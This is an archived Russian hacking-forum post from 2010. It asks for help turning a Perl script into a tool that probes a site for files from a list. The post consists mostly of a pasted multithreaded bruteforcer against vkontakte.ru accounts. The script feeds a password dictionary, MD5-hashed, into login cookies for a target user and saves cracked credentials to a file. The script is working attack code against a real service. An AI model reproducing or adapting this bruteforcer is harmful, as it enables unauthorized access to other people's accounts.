Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Perl проверка списка файлов

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Первый вопрос] >> Perl проверка списка файлов
Имя
Сообщение << Старые топики   Новые топики >>
Perl проверка списка файлов - 2010-04-08 17:19:41.580000   
lill

Сообщений: 4
Оценки: 0
Присоединился: 2010-04-08 16:47:31.540000
Здравствуйте,
помогите изменить. Есть скрипт брута - он как основа очень подходит.
собственно что нужно:
тело скрипта:
подгружается список файлов - filelist.txt
и из него по очереди вставляются строки в конце http://sight.com/files/{filelist.txt}
ответ 302, стоп принт в текстовый документ
конец скрипта.
спасибо.
#!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; ###################################### # C!klodoL # vkontakte.ru bruteforce with multi-threads ###################################### $dic = 'pass.dic'; #словарь паролей $id = 11111; #id цели $mail = 'mail'; #мыло, вместо @ вписать %40 $threads = 4; #количество потоков ###################################### open (pass, "&lt;$dic"); Next: @pass = pass(); for(0..$threads) {$trl[$_] = threads-&gt;create(\&amp;Brut, $_);} for(@trl) { $_-&gt;join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5-&gt;hexhash($pass); $sock = IO::Socket::INET-&gt;new(Proto=&gt;'tcp',PeerAddr=&gt;'vkontakte.ru',PeerPort=&gt;80); print $sock "HEAD [link=http://vkontakte.ru/]http://vkontakte.ru/[/link] HTTP/1.0\r\n". &nbsp;"Host: vkontakte.ru\r\n". &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Accept: */*\r\n". &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Content-Type: application/x-www-form-urlencoded\r\n". &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "User-Agent: Mozillo\r\n". &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Connection: close\r\n\r\n"; $answ = &lt;$sock&gt;; close $sock; print "$pass&nbsp; $answ"; if ($answ =~ /200/){ open (good, '&gt;&gt;good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { &nbsp;my (@mas); &nbsp;while (&lt;pass&gt;){ &nbsp;push @mas, $_; &nbsp;last if (@mas == 400); &nbsp;} &nbsp;chomp @mas; &nbsp;return @mas; }
Post #: 1
Страниц:  [1]
Все форумы >> [Первый вопрос] >> Perl проверка списка файлов







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.